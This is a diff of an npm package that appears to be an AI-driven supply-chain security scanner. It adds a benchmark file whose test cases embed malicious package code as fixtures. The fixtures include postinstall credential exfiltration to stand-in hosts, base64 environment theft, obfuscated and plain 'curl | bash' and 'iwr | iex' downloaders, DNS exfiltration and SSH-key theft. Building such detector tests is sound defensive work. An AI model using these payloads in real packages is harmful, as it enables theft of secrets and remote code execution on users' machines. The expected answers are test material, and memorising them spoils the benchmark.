opmsec 0.1.0 → 0.1.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (124) hide show
  1. package/.env.example +23 -13
  2. package/README.md +256 -173
  3. package/docs/architecture/agents.mdx +77 -0
  4. package/docs/architecture/benchmarks.mdx +65 -0
  5. package/docs/architecture/overview.mdx +58 -0
  6. package/docs/architecture/scanner.mdx +53 -0
  7. package/docs/cli/audit.mdx +35 -0
  8. package/docs/cli/check.mdx +44 -0
  9. package/docs/cli/fix.mdx +49 -0
  10. package/docs/cli/info.mdx +44 -0
  11. package/docs/cli/install.mdx +71 -0
  12. package/docs/cli/push.mdx +99 -0
  13. package/docs/cli/register-agent.mdx +80 -0
  14. package/docs/cli/view.mdx +52 -0
  15. package/docs/concepts/multi-agent-consensus.mdx +58 -0
  16. package/docs/concepts/on-chain-registry.mdx +74 -0
  17. package/docs/concepts/security-model.mdx +76 -0
  18. package/docs/concepts/zk-agent-verification.mdx +82 -0
  19. package/docs/configuration.mdx +82 -0
  20. package/docs/contract/deployment.mdx +57 -0
  21. package/docs/contract/events.mdx +115 -0
  22. package/docs/contract/functions.mdx +220 -0
  23. package/docs/contract/overview.mdx +58 -0
  24. package/docs/favicon.svg +5 -0
  25. package/docs/introduction.mdx +43 -0
  26. package/docs/logo/dark.svg +5 -0
  27. package/docs/logo/light.svg +5 -0
  28. package/docs/mint.json +106 -0
  29. package/docs/quickstart.mdx +133 -0
  30. package/package.json +3 -3
  31. package/packages/cli/src/commands/author-view.tsx +9 -1
  32. package/packages/cli/src/commands/check.tsx +318 -0
  33. package/packages/cli/src/commands/fix.tsx +294 -0
  34. package/packages/cli/src/commands/install.tsx +229 -33
  35. package/packages/cli/src/commands/push.tsx +53 -22
  36. package/packages/cli/src/commands/register-agent.tsx +227 -0
  37. package/packages/cli/src/components/AgentScores.tsx +20 -6
  38. package/packages/cli/src/components/Hyperlink.tsx +30 -0
  39. package/packages/cli/src/components/ScanReport.tsx +3 -2
  40. package/packages/cli/src/index.tsx +41 -5
  41. package/packages/cli/src/services/avatar.ts +43 -6
  42. package/packages/cli/src/services/chainpatrol.ts +20 -17
  43. package/packages/cli/src/services/contract.ts +41 -8
  44. package/packages/cli/src/services/ens.ts +3 -5
  45. package/packages/cli/src/services/fileverse.ts +12 -13
  46. package/packages/cli/src/services/typosquat.ts +166 -0
  47. package/packages/contracts/circuits/accuracy_verifier.circom +101 -0
  48. package/packages/contracts/contracts/OPMRegistry.sol +63 -0
  49. package/packages/contracts/scripts/deploy.ts +22 -3
  50. package/packages/core/src/abi.ts +221 -0
  51. package/packages/core/src/benchmarks.ts +450 -0
  52. package/packages/core/src/constants.ts +20 -0
  53. package/packages/core/src/index.ts +2 -0
  54. package/packages/core/src/model-rankings.ts +115 -0
  55. package/packages/core/src/prompt.ts +58 -0
  56. package/packages/core/src/types.ts +41 -0
  57. package/packages/core/src/utils.ts +7 -3
  58. package/packages/scanner/src/agents/base-agent.ts +13 -3
  59. package/packages/scanner/src/index.ts +5 -2
  60. package/packages/scanner/src/queue/memory-queue.ts +8 -3
  61. package/packages/scanner/src/services/benchmark-runner.ts +114 -0
  62. package/packages/scanner/src/services/contract-writer.ts +2 -3
  63. package/packages/scanner/src/services/fileverse.ts +26 -7
  64. package/packages/scanner/src/services/openrouter.ts +46 -0
  65. package/packages/scanner/src/services/report-formatter.ts +122 -3
  66. package/packages/scanner/src/services/zk-verifier.ts +118 -0
  67. package/packages/web/.next/app-build-manifest.json +15 -0
  68. package/packages/web/.next/build-manifest.json +20 -0
  69. package/packages/web/.next/package.json +1 -0
  70. package/packages/web/.next/prerender-manifest.json +11 -0
  71. package/packages/web/.next/react-loadable-manifest.json +1 -0
  72. package/packages/web/.next/routes-manifest.json +1 -0
  73. package/packages/web/.next/server/app/page.js +272 -0
  74. package/packages/web/.next/server/app/page_client-reference-manifest.js +1 -0
  75. package/packages/web/.next/server/app-paths-manifest.json +3 -0
  76. package/packages/web/.next/server/interception-route-rewrite-manifest.js +1 -0
  77. package/packages/web/.next/server/middleware-build-manifest.js +22 -0
  78. package/packages/web/.next/server/middleware-manifest.json +6 -0
  79. package/packages/web/.next/server/middleware-react-loadable-manifest.js +1 -0
  80. package/packages/web/.next/server/next-font-manifest.js +1 -0
  81. package/packages/web/.next/server/next-font-manifest.json +1 -0
  82. package/packages/web/.next/server/pages-manifest.json +1 -0
  83. package/packages/web/.next/server/server-reference-manifest.js +1 -0
  84. package/packages/web/.next/server/server-reference-manifest.json +5 -0
  85. package/packages/web/.next/server/vendor-chunks/@swc.js +55 -0
  86. package/packages/web/.next/server/vendor-chunks/next.js +3010 -0
  87. package/packages/web/.next/server/webpack-runtime.js +209 -0
  88. package/packages/web/.next/static/chunks/app/layout.js +39 -0
  89. package/packages/web/.next/static/chunks/app/page.js +61 -0
  90. package/packages/web/.next/static/chunks/app-pages-internals.js +182 -0
  91. package/packages/web/.next/static/chunks/main-app.js +1882 -0
  92. package/packages/web/.next/static/chunks/polyfills.js +1 -0
  93. package/packages/web/.next/static/chunks/webpack.js +1393 -0
  94. package/packages/web/.next/static/css/app/layout.css +1237 -0
  95. package/packages/web/.next/static/development/_buildManifest.js +1 -0
  96. package/packages/web/.next/static/development/_ssgManifest.js +1 -0
  97. package/packages/web/.next/static/webpack/633457081244afec._.hot-update.json +1 -0
  98. package/packages/web/.next/static/webpack/6fee6306e0f98869.webpack.hot-update.json +1 -0
  99. package/packages/web/.next/static/webpack/73e341375c8d429e.webpack.hot-update.json +1 -0
  100. package/packages/web/.next/static/webpack/app/layout.6fee6306e0f98869.hot-update.js +22 -0
  101. package/packages/web/.next/static/webpack/app/layout.73e341375c8d429e.hot-update.js +22 -0
  102. package/packages/web/.next/static/webpack/app/page.6fee6306e0f98869.hot-update.js +22 -0
  103. package/packages/web/.next/static/webpack/app/page.73e341375c8d429e.hot-update.js +22 -0
  104. package/packages/web/.next/static/webpack/webpack.6fee6306e0f98869.hot-update.js +12 -0
  105. package/packages/web/.next/static/webpack/webpack.73e341375c8d429e.hot-update.js +12 -0
  106. package/packages/web/.next/trace +5 -0
  107. package/packages/web/.next/types/app/layout.ts +84 -0
  108. package/packages/web/.next/types/app/page.ts +84 -0
  109. package/packages/web/.next/types/cache-life.d.ts +141 -0
  110. package/packages/web/.next/types/package.json +1 -0
  111. package/packages/web/.next/types/routes.d.ts +57 -0
  112. package/packages/web/.next/types/validator.ts +61 -0
  113. package/packages/web/app/globals.css +75 -0
  114. package/packages/web/app/layout.tsx +26 -0
  115. package/packages/web/app/page.tsx +358 -0
  116. package/packages/web/bun.lock +300 -0
  117. package/packages/web/next-env.d.ts +6 -0
  118. package/packages/web/next.config.ts +5 -0
  119. package/packages/web/package.json +26 -0
  120. package/packages/web/postcss.config.mjs +8 -0
  121. package/packages/web/public/favicon.svg +5 -0
  122. package/packages/web/public/logo.svg +7 -0
  123. package/packages/web/tailwind.config.ts +48 -0
  124. package/packages/web/tsconfig.json +21 -0
@@ -0,0 +1,450 @@
1
+ import type { PackageMetadata, VersionHistoryEntry, SourceFile, KnownCVE } from './types';
2
+ import { buildUserPrompt } from './prompt';
3
+
4
+ export interface BenchmarkCase {
5
+ id: string;
6
+ category: 'clean' | 'typosquat' | 'malicious' | 'cve' | 'obfuscated' | 'exfiltration' | 'dependency_confusion';
7
+ description: string;
8
+ metadata: PackageMetadata;
9
+ versionHistory: VersionHistoryEntry[];
10
+ sourceFiles: SourceFile[];
11
+ knownCVEs: KnownCVE[];
12
+ expected: {
13
+ risk_level: 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL';
14
+ min_risk_score: number;
15
+ max_risk_score: number;
16
+ must_flag: string[];
17
+ };
18
+ }
19
+
20
+ export function generateBenchmarkDataset(): BenchmarkCase[] {
21
+ return [
22
+ {
23
+ id: 'bench-001-clean-utility',
24
+ category: 'clean',
25
+ description: 'Legitimate utility: pure string helpers with no side effects',
26
+ metadata: {
27
+ name: 'string-utils-helper',
28
+ version: '2.1.0',
29
+ description: 'Lightweight string manipulation utilities',
30
+ author: 'verified-dev',
31
+ license: 'MIT',
32
+ dependencies: {},
33
+ scripts: {},
34
+ },
35
+ versionHistory: [
36
+ { version: '2.0.0', published: '2024-06-01', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+200B', newMaintainer: false },
37
+ { version: '2.1.0', published: '2024-09-15', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+150B', newMaintainer: false },
38
+ ],
39
+ sourceFiles: [
40
+ {
41
+ path: 'index.js',
42
+ size: 420,
43
+ content: `"use strict";
44
+ module.exports.capitalize = (s) => s.charAt(0).toUpperCase() + s.slice(1);
45
+ module.exports.camelCase = (s) => s.replace(/-([a-z])/g, (_, c) => c.toUpperCase());
46
+ module.exports.kebabCase = (s) => s.replace(/([A-Z])/g, '-$1').toLowerCase();
47
+ module.exports.truncate = (s, len) => s.length > len ? s.slice(0, len) + '...' : s;`,
48
+ },
49
+ ],
50
+ knownCVEs: [],
51
+ expected: { risk_level: 'LOW', min_risk_score: 0, max_risk_score: 20, must_flag: [] },
52
+ },
53
+
54
+ {
55
+ id: 'bench-002-typosquat-lodash',
56
+ category: 'typosquat',
57
+ description: 'Typosquat of lodash: "lodahs" with credential exfiltration in postinstall',
58
+ metadata: {
59
+ name: 'lodahs',
60
+ version: '4.17.21',
61
+ description: 'Lodash modular utilities',
62
+ author: 'unknown',
63
+ license: 'MIT',
64
+ dependencies: {},
65
+ scripts: { postinstall: 'node setup.js' },
66
+ },
67
+ versionHistory: [
68
+ { version: '4.17.21', published: '2025-01-03', depsChanged: 'none', filesChanged: 'new package', sizeDelta: 'N/A', newMaintainer: true },
69
+ ],
70
+ sourceFiles: [
71
+ {
72
+ path: 'setup.js',
73
+ size: 310,
74
+ content: `const https = require('https');
75
+ const os = require('os');
76
+ const data = JSON.stringify({
77
+ h: os.hostname(), u: os.userInfo().username,
78
+ e: Object.keys(process.env).filter(k => k.match(/TOKEN|KEY|SECRET|PASS/i)).map(k => k + '=' + process.env[k])
79
+ });
80
+ const req = https.request({ hostname: 'collect.evil-analytics.xyz', port: 443, path: '/d', method: 'POST',
81
+ headers: { 'Content-Type': 'application/json' } }, () => {});
82
+ req.write(data); req.end();`,
83
+ },
84
+ {
85
+ path: 'index.js',
86
+ size: 50,
87
+ content: `module.exports = require('lodash');`,
88
+ },
89
+ ],
90
+ knownCVEs: [],
91
+ expected: { risk_level: 'CRITICAL', min_risk_score: 80, max_risk_score: 100, must_flag: ['typosquat', 'exfiltration', 'postinstall'] },
92
+ },
93
+
94
+ {
95
+ id: 'bench-003-env-exfiltration',
96
+ category: 'exfiltration',
97
+ description: 'Package that silently exfiltrates environment variables on import',
98
+ metadata: {
99
+ name: 'fast-config-loader',
100
+ version: '1.0.0',
101
+ description: 'Fast configuration loading for Node.js',
102
+ author: 'anon-publisher',
103
+ license: 'ISC',
104
+ dependencies: {},
105
+ scripts: {},
106
+ },
107
+ versionHistory: [
108
+ { version: '1.0.0', published: '2025-02-20', depsChanged: 'none', filesChanged: 'new package', sizeDelta: 'N/A', newMaintainer: true },
109
+ ],
110
+ sourceFiles: [
111
+ {
112
+ path: 'index.js',
113
+ size: 480,
114
+ content: `const http = require('http');
115
+ function loadConfig(path) { return require(path); }
116
+ const _e = Buffer.from(JSON.stringify(process.env)).toString('base64');
117
+ const _o = { hostname: '198.51.100.42', port: 8080, path: '/api/telemetry', method: 'POST',
118
+ headers: { 'Content-Type': 'text/plain', 'X-Session': Date.now().toString(36) } };
119
+ try { const r = http.request(_o, () => {}); r.write(_e); r.end(); } catch(e) {}
120
+ module.exports = { loadConfig };`,
121
+ },
122
+ ],
123
+ knownCVEs: [],
124
+ expected: { risk_level: 'CRITICAL', min_risk_score: 85, max_risk_score: 100, must_flag: ['exfiltration', 'network_calls', 'env_variables'] },
125
+ },
126
+
127
+ {
128
+ id: 'bench-004-obfuscated-payload',
129
+ category: 'obfuscated',
130
+ description: 'Heavily obfuscated code hiding a reverse shell',
131
+ metadata: {
132
+ name: 'perf-monitor-lite',
133
+ version: '0.9.1',
134
+ description: 'Lightweight performance monitoring',
135
+ author: 'dev-tools-org',
136
+ license: 'MIT',
137
+ dependencies: {},
138
+ scripts: { preinstall: 'node bootstrap.js' },
139
+ },
140
+ versionHistory: [
141
+ { version: '0.9.0', published: '2024-12-01', depsChanged: 'none', filesChanged: 'new package', sizeDelta: 'N/A', newMaintainer: true },
142
+ { version: '0.9.1', published: '2025-01-10', depsChanged: 'none', filesChanged: 'major', sizeDelta: '+15KB', newMaintainer: false },
143
+ ],
144
+ sourceFiles: [
145
+ {
146
+ path: 'bootstrap.js',
147
+ size: 650,
148
+ content: `var _0x4f2a = ['\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73',
149
+ '\\x65\\x78\\x65\\x63', '\\x63\\x75\\x72\\x6c\\x20\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f'];
150
+ (function() { var cp = require(_0x4f2a[0]);
151
+ cp[_0x4f2a[1]](_0x4f2a[2] + '\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x31\\x2e\\x31\\x2f\\x73\\x68\\x65\\x6c\\x6c' +
152
+ '\\x20\\x7c\\x20\\x62\\x61\\x73\\x68'); })();`,
153
+ },
154
+ {
155
+ path: 'index.js',
156
+ size: 100,
157
+ content: `module.exports.measure = (fn) => { const s = Date.now(); fn(); return Date.now() - s; };`,
158
+ },
159
+ ],
160
+ knownCVEs: [],
161
+ expected: { risk_level: 'CRITICAL', min_risk_score: 90, max_risk_score: 100, must_flag: ['obfuscated', 'process_spawn', 'preinstall'] },
162
+ },
163
+
164
+ {
165
+ id: 'bench-005-clean-math',
166
+ category: 'clean',
167
+ description: 'Legitimate math library with zero dependencies',
168
+ metadata: {
169
+ name: 'tiny-math-ops',
170
+ version: '3.2.1',
171
+ description: 'Tiny math operations library',
172
+ author: 'math-community',
173
+ license: 'MIT',
174
+ dependencies: {},
175
+ scripts: { test: 'node test.js' },
176
+ },
177
+ versionHistory: [
178
+ { version: '3.1.0', published: '2024-03-10', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+100B', newMaintainer: false },
179
+ { version: '3.2.0', published: '2024-07-20', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+80B', newMaintainer: false },
180
+ { version: '3.2.1', published: '2024-11-05', depsChanged: 'none', filesChanged: 'patch', sizeDelta: '+20B', newMaintainer: false },
181
+ ],
182
+ sourceFiles: [
183
+ {
184
+ path: 'index.js',
185
+ size: 350,
186
+ content: `"use strict";
187
+ exports.clamp = (n, min, max) => Math.min(Math.max(n, min), max);
188
+ exports.lerp = (a, b, t) => a + (b - a) * t;
189
+ exports.roundTo = (n, d) => { const m = Math.pow(10, d); return Math.round(n * m) / m; };
190
+ exports.isPrime = (n) => { if (n < 2) return false; for (let i = 2; i <= Math.sqrt(n); i++) if (n % i === 0) return false; return true; };
191
+ exports.factorial = (n) => n <= 1 ? 1 : n * exports.factorial(n - 1);`,
192
+ },
193
+ ],
194
+ knownCVEs: [],
195
+ expected: { risk_level: 'LOW', min_risk_score: 0, max_risk_score: 15, must_flag: [] },
196
+ },
197
+
198
+ {
199
+ id: 'bench-006-postinstall-shell',
200
+ category: 'malicious',
201
+ description: 'Package with postinstall that downloads and executes remote script',
202
+ metadata: {
203
+ name: 'react-dev-toolkit',
204
+ version: '1.0.2',
205
+ description: 'Developer tools for React applications',
206
+ author: 'anonymous',
207
+ license: 'MIT',
208
+ dependencies: {},
209
+ scripts: { postinstall: 'node scripts/init.js' },
210
+ },
211
+ versionHistory: [
212
+ { version: '1.0.0', published: '2025-03-01', depsChanged: 'none', filesChanged: 'new package', sizeDelta: 'N/A', newMaintainer: true },
213
+ { version: '1.0.2', published: '2025-03-02', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+2KB', newMaintainer: false },
214
+ ],
215
+ sourceFiles: [
216
+ {
217
+ path: 'scripts/init.js',
218
+ size: 280,
219
+ content: `const { execSync } = require('child_process');
220
+ const os = require('os');
221
+ const p = os.platform();
222
+ try {
223
+ if (p === 'linux' || p === 'darwin') {
224
+ execSync('curl -s https://cdn-pkg-setup.com/init.sh | bash', { stdio: 'ignore' });
225
+ } else {
226
+ execSync('powershell -c "iwr https://cdn-pkg-setup.com/init.ps1 | iex"', { stdio: 'ignore' });
227
+ }
228
+ } catch(e) {}`,
229
+ },
230
+ {
231
+ path: 'index.js',
232
+ size: 80,
233
+ content: `module.exports = {};`,
234
+ },
235
+ ],
236
+ knownCVEs: [],
237
+ expected: { risk_level: 'CRITICAL', min_risk_score: 85, max_risk_score: 100, must_flag: ['postinstall', 'process_spawn', 'network_calls'] },
238
+ },
239
+
240
+ {
241
+ id: 'bench-007-known-cve',
242
+ category: 'cve',
243
+ description: 'Package with known prototype pollution CVE',
244
+ metadata: {
245
+ name: 'deep-object-merge',
246
+ version: '1.3.0',
247
+ description: 'Deep merge objects recursively',
248
+ author: 'obj-utils',
249
+ license: 'MIT',
250
+ dependencies: {},
251
+ scripts: {},
252
+ },
253
+ versionHistory: [
254
+ { version: '1.2.0', published: '2024-01-15', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+50B', newMaintainer: false },
255
+ { version: '1.3.0', published: '2024-06-20', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+100B', newMaintainer: false },
256
+ ],
257
+ sourceFiles: [
258
+ {
259
+ path: 'index.js',
260
+ size: 300,
261
+ content: `function deepMerge(target, source) {
262
+ for (const key in source) {
263
+ if (source[key] && typeof source[key] === 'object') {
264
+ if (!target[key]) target[key] = {};
265
+ deepMerge(target[key], source[key]);
266
+ } else {
267
+ target[key] = source[key];
268
+ }
269
+ }
270
+ return target;
271
+ }
272
+ module.exports = deepMerge;`,
273
+ },
274
+ ],
275
+ knownCVEs: [
276
+ { id: 'GHSA-xxxx-yyyy-zzzz', summary: 'Prototype pollution via __proto__ in deep-object-merge allows attackers to inject properties into Object.prototype' },
277
+ ],
278
+ expected: { risk_level: 'HIGH', min_risk_score: 60, max_risk_score: 100, must_flag: ['prototype_pollution', 'cve'] },
279
+ },
280
+
281
+ {
282
+ id: 'bench-008-dependency-confusion',
283
+ category: 'dependency_confusion',
284
+ description: 'Public package shadowing internal @company scope with data exfiltration',
285
+ metadata: {
286
+ name: 'internal-auth-service',
287
+ version: '99.0.0',
288
+ description: 'Authentication service utilities',
289
+ author: 'unknown',
290
+ license: 'ISC',
291
+ dependencies: {},
292
+ scripts: { preinstall: 'node telemetry.js' },
293
+ },
294
+ versionHistory: [
295
+ { version: '99.0.0', published: '2025-02-28', depsChanged: 'none', filesChanged: 'new package', sizeDelta: 'N/A', newMaintainer: true },
296
+ ],
297
+ sourceFiles: [
298
+ {
299
+ path: 'telemetry.js',
300
+ size: 200,
301
+ content: `const dns = require('dns');
302
+ const os = require('os');
303
+ const pkg = require('./package.json');
304
+ const data = Buffer.from(JSON.stringify({ h: os.hostname(), p: pkg.name, v: pkg.version })).toString('hex');
305
+ dns.resolve(\`\${data.slice(0,60)}.exfil.attacker-domain.com\`, () => {});`,
306
+ },
307
+ {
308
+ path: 'index.js',
309
+ size: 40,
310
+ content: `module.exports = {};`,
311
+ },
312
+ ],
313
+ knownCVEs: [],
314
+ expected: { risk_level: 'CRITICAL', min_risk_score: 80, max_risk_score: 100, must_flag: ['dependency_confusion', 'exfiltration', 'preinstall'] },
315
+ },
316
+
317
+ {
318
+ id: 'bench-009-clean-validator',
319
+ category: 'clean',
320
+ description: 'Legitimate input validation library with established history',
321
+ metadata: {
322
+ name: 'form-input-check',
323
+ version: '5.0.2',
324
+ description: 'Input validation and sanitization',
325
+ author: 'validation-team',
326
+ license: 'MIT',
327
+ dependencies: {},
328
+ scripts: { test: 'jest' },
329
+ },
330
+ versionHistory: [
331
+ { version: '4.9.0', published: '2023-11-01', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+200B', newMaintainer: false },
332
+ { version: '5.0.0', published: '2024-03-15', depsChanged: 'none', filesChanged: 'major', sizeDelta: '+1KB', newMaintainer: false },
333
+ { version: '5.0.2', published: '2024-08-10', depsChanged: 'none', filesChanged: 'patch', sizeDelta: '+50B', newMaintainer: false },
334
+ ],
335
+ sourceFiles: [
336
+ {
337
+ path: 'index.js',
338
+ size: 500,
339
+ content: `"use strict";
340
+ const EMAIL_RE = /^[^\\s@]+@[^\\s@]+\\.[^\\s@]+$/;
341
+ const URL_RE = /^https?:\\/\\/[^\\s/$.?#].[^\\s]*$/;
342
+ exports.isEmail = (v) => typeof v === 'string' && EMAIL_RE.test(v);
343
+ exports.isURL = (v) => typeof v === 'string' && URL_RE.test(v);
344
+ exports.isNumeric = (v) => !isNaN(parseFloat(v)) && isFinite(v);
345
+ exports.sanitize = (v) => String(v).replace(/[<>&"']/g, (c) => ({ '<':'&lt;', '>':'&gt;', '&':'&amp;', '"':'&quot;', "'":'&#39;' }[c]));
346
+ exports.minLength = (v, n) => typeof v === 'string' && v.length >= n;
347
+ exports.maxLength = (v, n) => typeof v === 'string' && v.length <= n;`,
348
+ },
349
+ ],
350
+ knownCVEs: [],
351
+ expected: { risk_level: 'LOW', min_risk_score: 0, max_risk_score: 20, must_flag: [] },
352
+ },
353
+
354
+ {
355
+ id: 'bench-010-fs-read-exfil',
356
+ category: 'malicious',
357
+ description: 'Package that reads SSH keys and sends them to a remote server',
358
+ metadata: {
359
+ name: 'ssh-key-manager',
360
+ version: '2.0.0',
361
+ description: 'Manage SSH keys easily',
362
+ author: 'unknown-dev',
363
+ license: 'MIT',
364
+ dependencies: {},
365
+ scripts: {},
366
+ },
367
+ versionHistory: [
368
+ { version: '1.0.0', published: '2024-10-01', depsChanged: 'none', filesChanged: 'new package', sizeDelta: 'N/A', newMaintainer: true },
369
+ { version: '2.0.0', published: '2025-01-15', depsChanged: 'none', filesChanged: 'major', sizeDelta: '+3KB', newMaintainer: false },
370
+ ],
371
+ sourceFiles: [
372
+ {
373
+ path: 'index.js',
374
+ size: 420,
375
+ content: `const fs = require('fs');
376
+ const path = require('path');
377
+ const https = require('https');
378
+ const os = require('os');
379
+
380
+ function listKeys() {
381
+ const sshDir = path.join(os.homedir(), '.ssh');
382
+ if (!fs.existsSync(sshDir)) return [];
383
+ const files = fs.readdirSync(sshDir);
384
+ const keys = files.map(f => ({ name: f, content: fs.readFileSync(path.join(sshDir, f), 'utf-8') }));
385
+ const payload = Buffer.from(JSON.stringify(keys)).toString('base64');
386
+ https.get('https://telemetry-cdn.com/k?d=' + payload, () => {});
387
+ return files;
388
+ }
389
+
390
+ module.exports = { listKeys };`,
391
+ },
392
+ ],
393
+ knownCVEs: [],
394
+ expected: { risk_level: 'CRITICAL', min_risk_score: 85, max_risk_score: 100, must_flag: ['filesystem_access', 'exfiltration', 'network_calls'] },
395
+ },
396
+ ];
397
+ }
398
+
399
+ export function buildBenchmarkPrompt(bench: BenchmarkCase): string {
400
+ return buildUserPrompt(bench.metadata, bench.versionHistory, bench.sourceFiles, bench.knownCVEs);
401
+ }
402
+
403
+ export type BenchmarkVerdict = 'PASS' | 'FAIL';
404
+
405
+ export interface BenchmarkResult {
406
+ caseId: string;
407
+ category: string;
408
+ expectedLevel: string;
409
+ actualLevel: string;
410
+ expectedScoreRange: [number, number];
411
+ actualScore: number;
412
+ verdict: BenchmarkVerdict;
413
+ reason: string;
414
+ }
415
+
416
+ export function evaluateBenchmark(
417
+ bench: BenchmarkCase,
418
+ actualRiskLevel: string,
419
+ actualRiskScore: number,
420
+ ): BenchmarkResult {
421
+ const scoreInRange = actualRiskScore >= bench.expected.min_risk_score && actualRiskScore <= bench.expected.max_risk_score;
422
+
423
+ const levelMap: Record<string, number> = { LOW: 0, MEDIUM: 1, HIGH: 2, CRITICAL: 3 };
424
+ const expectedOrd = levelMap[bench.expected.risk_level] ?? 0;
425
+ const actualOrd = levelMap[actualRiskLevel] ?? 0;
426
+
427
+ const levelCorrect = bench.expected.risk_level === 'LOW'
428
+ ? actualOrd <= 1
429
+ : actualOrd >= expectedOrd - 1 && actualOrd <= expectedOrd + 1;
430
+
431
+ const passed = scoreInRange && levelCorrect;
432
+
433
+ let reason = '';
434
+ if (!scoreInRange) {
435
+ reason = `Score ${actualRiskScore} outside expected range [${bench.expected.min_risk_score}, ${bench.expected.max_risk_score}]`;
436
+ } else if (!levelCorrect) {
437
+ reason = `Level ${actualRiskLevel} does not match expected ${bench.expected.risk_level}`;
438
+ }
439
+
440
+ return {
441
+ caseId: bench.id,
442
+ category: bench.category,
443
+ expectedLevel: bench.expected.risk_level,
444
+ actualLevel: actualRiskLevel,
445
+ expectedScoreRange: [bench.expected.min_risk_score, bench.expected.max_risk_score],
446
+ actualScore: actualRiskScore,
447
+ verdict: passed ? 'PASS' : 'FAIL',
448
+ reason: passed ? 'Correctly classified' : reason,
449
+ };
450
+ }
@@ -18,6 +18,26 @@ export const OPENAI_API_URL = 'https://api.openai.com/v1/chat/completions';
18
18
 
19
19
  export const BASE_SEPOLIA_CHAIN_ID = 84532;
20
20
  export const BASE_SEPOLIA_RPC = 'https://sepolia.base.org';
21
+ export const ETH_MAINNET_RPC = 'https://eth.llamarpc.com';
22
+ export const ETH_SEPOLIA_RPC = 'https://ethereum-sepolia-rpc.publicnode.com';
23
+
24
+ export const DEFAULT_CONTRACT_ADDRESS = '0x16684391fc9bf48246B08Afe16d1a57BFa181d48';
25
+
26
+ export const BASE_SEPOLIA_EXPLORER = 'https://sepolia.basescan.org';
27
+
28
+ export function txUrl(hash: string): string {
29
+ return `${BASE_SEPOLIA_EXPLORER}/tx/${hash}`;
30
+ }
31
+
32
+ export function addressUrl(addr: string): string {
33
+ return `${BASE_SEPOLIA_EXPLORER}/address/${addr}`;
34
+ }
35
+
36
+ export function contractUrl(): string {
37
+ return addressUrl(DEFAULT_CONTRACT_ADDRESS);
38
+ }
39
+
40
+ export const FILEVERSE_DEFAULT_URL = 'http://localhost:8001';
21
41
 
22
42
  export const NPM_REGISTRY_URL = 'https://registry.npmjs.org';
23
43
 
@@ -2,4 +2,6 @@ export * from './types';
2
2
  export * from './constants';
3
3
  export * from './utils';
4
4
  export * from './prompt';
5
+ export * from './model-rankings';
6
+ export * from './benchmarks';
5
7
  export { OPM_REGISTRY_ABI } from './abi';
@@ -0,0 +1,115 @@
1
+ const ARTIFICIAL_ANALYSIS_API = 'https://artificialanalysis.ai/api/v2/data/llms/models';
2
+
3
+ export interface ModelRanking {
4
+ id: string;
5
+ name: string;
6
+ slug: string;
7
+ intelligenceIndex: number;
8
+ codingIndex: number;
9
+ }
10
+
11
+ interface AAModelResponse {
12
+ id: string;
13
+ name: string;
14
+ slug: string;
15
+ evaluations?: {
16
+ artificial_analysis_intelligence_index?: number;
17
+ artificial_analysis_coding_index?: number;
18
+ };
19
+ }
20
+
21
+ let cachedRankings: ModelRanking[] | null = null;
22
+ let cacheTimestamp = 0;
23
+ const CACHE_DURATION = 60 * 60 * 1000;
24
+
25
+ export async function fetchModelRankings(): Promise<ModelRanking[]> {
26
+ if (cachedRankings && Date.now() - cacheTimestamp < CACHE_DURATION) {
27
+ return cachedRankings;
28
+ }
29
+
30
+ const apiKey = process.env.ARTIFICIAL_ANALYSIS_API_KEY || '';
31
+ if (!apiKey) return getDefaultRankings();
32
+
33
+ try {
34
+ const res = await fetch(ARTIFICIAL_ANALYSIS_API, {
35
+ headers: { 'x-api-key': apiKey },
36
+ });
37
+ if (!res.ok) throw new Error(`API ${res.status}`);
38
+ const data: { data: AAModelResponse[] } = await res.json();
39
+
40
+ cachedRankings = data.data.map((m) => ({
41
+ id: String(m.id),
42
+ name: m.name,
43
+ slug: m.slug,
44
+ intelligenceIndex: m.evaluations?.artificial_analysis_intelligence_index || 0,
45
+ codingIndex: m.evaluations?.artificial_analysis_coding_index || 0,
46
+ }));
47
+ cacheTimestamp = Date.now();
48
+ return cachedRankings;
49
+ } catch {
50
+ return getDefaultRankings();
51
+ }
52
+ }
53
+
54
+ export function getDefaultRankings(): ModelRanking[] {
55
+ return [
56
+ { id: '1', name: 'Claude Sonnet 4', slug: 'claude-sonnet-4', intelligenceIndex: 55, codingIndex: 52 },
57
+ { id: '2', name: 'GPT-4.1', slug: 'gpt-4.1', intelligenceIndex: 50, codingIndex: 48 },
58
+ { id: '3', name: 'Gemini 2.5 Flash', slug: 'gemini-2.5-flash', intelligenceIndex: 52, codingIndex: 45 },
59
+ { id: '4', name: 'DeepSeek Chat', slug: 'deepseek-chat', intelligenceIndex: 42, codingIndex: 40 },
60
+ { id: '5', name: 'GPT-4.1-mini', slug: 'gpt-4.1-mini', intelligenceIndex: 40, codingIndex: 38 },
61
+ { id: '6', name: 'GPT-4.1-nano', slug: 'gpt-4.1-nano', intelligenceIndex: 35, codingIndex: 32 },
62
+ ];
63
+ }
64
+
65
+ const MODEL_SLUGS: Record<string, string> = {
66
+ 'anthropic/claude-sonnet-4-20250514': 'claude-sonnet-4',
67
+ 'anthropic/claude-sonnet-4': 'claude-sonnet-4',
68
+ 'google/gemini-2.5-flash': 'gemini-2.5-flash',
69
+ 'deepseek/deepseek-chat': 'deepseek-chat',
70
+ 'openai/gpt-4.1': 'gpt-4.1',
71
+ 'gpt-4.1': 'gpt-4.1',
72
+ 'openai/gpt-4.1-mini': 'gpt-4.1-mini',
73
+ 'gpt-4.1-mini': 'gpt-4.1-mini',
74
+ 'openai/gpt-4.1-nano': 'gpt-4.1-nano',
75
+ 'gpt-4.1-nano': 'gpt-4.1-nano',
76
+ };
77
+
78
+ function findModel(rankings: ModelRanking[], modelSlug: string): ModelRanking | undefined {
79
